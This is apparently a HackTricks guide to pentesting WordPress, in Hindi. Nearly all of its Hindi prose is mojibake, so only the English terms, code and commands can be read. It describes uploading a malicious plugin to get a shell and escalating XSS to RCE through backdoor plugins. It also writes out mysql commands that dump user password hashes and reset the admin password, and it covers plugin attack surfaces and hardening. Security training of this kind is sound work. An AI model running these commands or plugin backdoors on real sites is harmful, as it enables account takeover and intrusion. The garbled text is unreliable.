рд╕рдВрднрд╡рддрдГ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреБрдЫ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк рдореАрдбрд┐рдпрд╛ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдЖрдкрдХрд╛ рд╢реЗрд▓ рдЕрдкрд▓реЛрдб рд╣реЛ рдЧрдпрд╛ рд╣реИ:

рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рдЖрдк рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП URL рджреЗрдЦреЗрдВрдЧреЗ:

Uploading and activating malicious plugin

рдпрд╣ рд╡рд┐рдзрд┐ рдПрдХ рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рд╡рд╛рд▓реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреНрд▓рдЧрдЗрди рдХреА рд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдбреИрд╢рдмреЛрд░реНрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ:

  1. Plugin Acquisition: рдкреНрд▓рдЧрдЗрди рдХреЛ Exploit DB рдЬреИрд╕реЗ рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреИрд╕реЗ рдпрд╣рд╛рдБред
  2. Plugin Installation:
  • рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдбреИрд╢рдмреЛрд░реНрдб рдкрд░ рдЬрд╛рдПрдВ, рдлрд┐рд░ Dashboard > Plugins > Upload Plugin рдкрд░ рдЬрд╛рдПрдВред
  • рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдЧрдП рдкреНрд▓рдЧрдЗрди рдХреА рдЬрд╝рд┐рдк рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред
  1. Plugin Activation: рдПрдХ рдмрд╛рд░ рдкреНрд▓рдЧрдЗрди рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛ рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдЗрд╕реЗ рдбреИрд╢рдмреЛрд░реНрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
  2. Exploitation:
  • "reflex-gallery" рдкреНрд▓рдЧрдЗрди рд╕реНрдерд╛рдкрд┐рдд рдФрд░ рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рдкрд░, рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЬреНрдЮрд╛рдд рд╣реИ рдХрд┐ рдпрд╣ рдХрдордЬреЛрд░ рд╣реИред
  • рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЙрдЗрдЯ рдлреНрд░реЗрдорд╡рд░реНрдХ рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реЛрд╖рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреБрдХреНрдд рдореЙрдбреНрдпреВрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ, рдПрдХ рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рд╕рддреНрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рд╛рдЗрдЯ рдкрд░ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
  • рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рд╕рд╛рдЗрдЯ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред

рд╕рд╛рдордЧреНрд░реА рдореЗрдВ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдбреИрд╢рдмреЛрд░реНрдб рдореЗрдВ рдкреНрд▓рдЧрдЗрди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдХреЛ рджрд░реНрд╢рд╛рдиреЗ рд╡рд╛рд▓реЗ рджреГрд╢реНрдп рд╕рд╣рд╛рдпрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрд╕ рддрд░реАрдХреЗ рд╕реЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рдЕрд╡реИрдз рдФрд░ рдЕрдиреИрддрд┐рдХ рд╣реИред рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдФрд░ рдХреЗрд╡рд▓ рдХрд╛рдиреВрдиреА рд╕рдВрджрд░реНрдн рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдкреЗрдирдЯреЗрд╕реНрдЯрд┐рдВрдЧред

рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬрд┐рд╕реЗ Cross-Site Scripting (XSS) рдХрдордЬреЛрд░реА рдХреЛ Remote Code Execution (RCE) рдпрд╛ рдЕрдиреНрдп рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдореЗрдВ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдпрд╣ Wordpress Versions 6.X.X, 5.X.X рдФрд░ 4.X.X рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдерди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:
  • Privilege Escalation: рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рддрд╛ рд╣реИред
  • (RCE) Custom Plugin (backdoor) Upload: рдЕрдкрдиреЗ рдХрд╕реНрдЯрдо рдкреНрд▓рдЧрдЗрди (рдмреИрдХрдбреЛрд░) рдХреЛ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред
  • (RCE) Built-In Plugin Edit: рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдореЗрдВ рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдкреНрд▓рдЧрдЗрди рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВред
  • (RCE) Built-In Theme Edit: рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдореЗрдВ рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдереАрдо рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВред
  • (Custom) Custom Exploits: рддреГрддреАрдп-рдкрдХреНрд╖ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдкреНрд▓рдЧрдЗрдиреНрд╕/рдереАрдо рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рд╢реЛрд╖рдгред

Post Exploitation

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

рдкреНрд░рд╢рд╛рд╕рдХ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓реЗрдВ:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

рдПрдХ Wordpress рдкреНрд▓рдЧрдЗрди рдХреИрд╕реЗ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рдЬрд╛рдирдирд╛ рдЗрд╕рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдВрдЬреА рд╣реИред рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдмреБрд▓реЗрдЯ рдкреЙрдЗрдВрдЯреНрд╕ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдкреНрд▓рдЧрдЗрди рдХреИрд╕реЗ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ рдХреБрдЫ рдХрдордЬреЛрд░ рдкреНрд▓рдЧрдЗрдиреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдгред

  • wp_ajax

рдПрдХ рдкреНрд▓рдЧрдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ AJAX рд╣реИрдВрдбрд▓рд░реНрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рдЗрдирдореЗрдВ рд▓реЙрдЬрд┐рдХ, рдкреНрд░рд╛рдзрд┐рдХрд░рдг, рдпрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрдЧ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЕрдХреНрд╕рд░ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдпреЗ рдХрд╛рд░реНрдп рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рджреЛрдиреЛрдВ рдХреЛ рдПрдХ Wordpress nonce рдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ Wordpress рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЗрд╕рдХреЗ рднреВрдорд┐рдХрд╛ рдХреЗ рд╕реНрд╡рддрдВрддреНрд░)ред

рдпреЗ рд╡реЗ рдХрд╛рд░реНрдп рд╣реИрдВ рдЬреЛ рдПрдХ рдкреНрд▓рдЧрдЗрди рдореЗрдВ рдПрдХ рдХрд╛рд░реНрдп рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ (рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЕрдирдзрд┐рдХреГрдд рд▓реЛрдЧреЛрдВ) рджреНрд╡рд╛рд░рд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЛ рд╕реБрд▓рдн рдмрдирд╛рддрд╛ рд╣реИред

{% hint style="danger" %} рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ wp_verify_nonce рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде, рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдпрд╣ рдЬрд╛рдВрдЪ рд░рд╣рд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ, рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреВрдорд┐рдХрд╛ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХреНрд░рд┐рдпрд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред {% endhint %}

  • REST API

рдпрд╣ register_rest_route рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback рдПрдХ рдРрд╕рд╛ рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ API рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рд╣реИред

рдпрджрд┐ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд __return_true рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдмрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреЛ рдЫреЛрдбрд╝ рджреЗрдЧрд╛ред

  • php рдлрд╝рд╛рдЗрд▓ рддрдХ рд╕реАрдзреА рдкрд╣реБрдБрдЪ

рдмреЗрд╢рдХ, Wordpress PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕реАрдзреЗ рд╡реЗрдм рд╕реЗ рд╕реБрд▓рдн рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ рдкреНрд▓рдЧрдЗрди рдХрд┐рд╕реА рдХрдордЬреЛрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдкрд░ рд╕рдХреНрд░рд┐рдп рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕реЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

WordPress рд╕реБрд░рдХреНрд╖рд╛

рдирд┐рдпрдорд┐рдд рдЕрдкрдбреЗрдЯ

рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WordPress, рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдо рдЕрджреНрдпрддрд┐рдд рд╣реИрдВред рдпрд╣ рднреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ рдХрд┐ wp-config.php рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЕрдкрдбреЗрдЯ рд╕рдХреНрд╖рдо рд╣реИ:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, рдХреЗрд╡рд▓ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп WordPress рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдореНрд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВред

рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд▓рдЧрдЗрдиреНрд╕

рдЕрдиреНрдп рд╕рд┐рдлрд╛рд░рд┐рд╢реЗрдВ

  • рдбрд┐рдлрд╝реЙрд▓реНрдЯ admin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╣рдЯрд╛рдПрдВ
  • рдордЬрдмреВрдд рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ 2FA рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
  • рд╕рдордп-рд╕рдордп рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ
  • Brute Force рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ
  • wp-admin.php рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ рдФрд░ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдХреБрдЫ IP рдкрддреЗ рд╕реЗ рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВред


Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ рд╡рд░реНрдХрдлрд╝реНрд▓реЛрдЬрд╝ рдмрдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХреЗрдВ рдЬреЛ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рд╣реИрдВред
рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}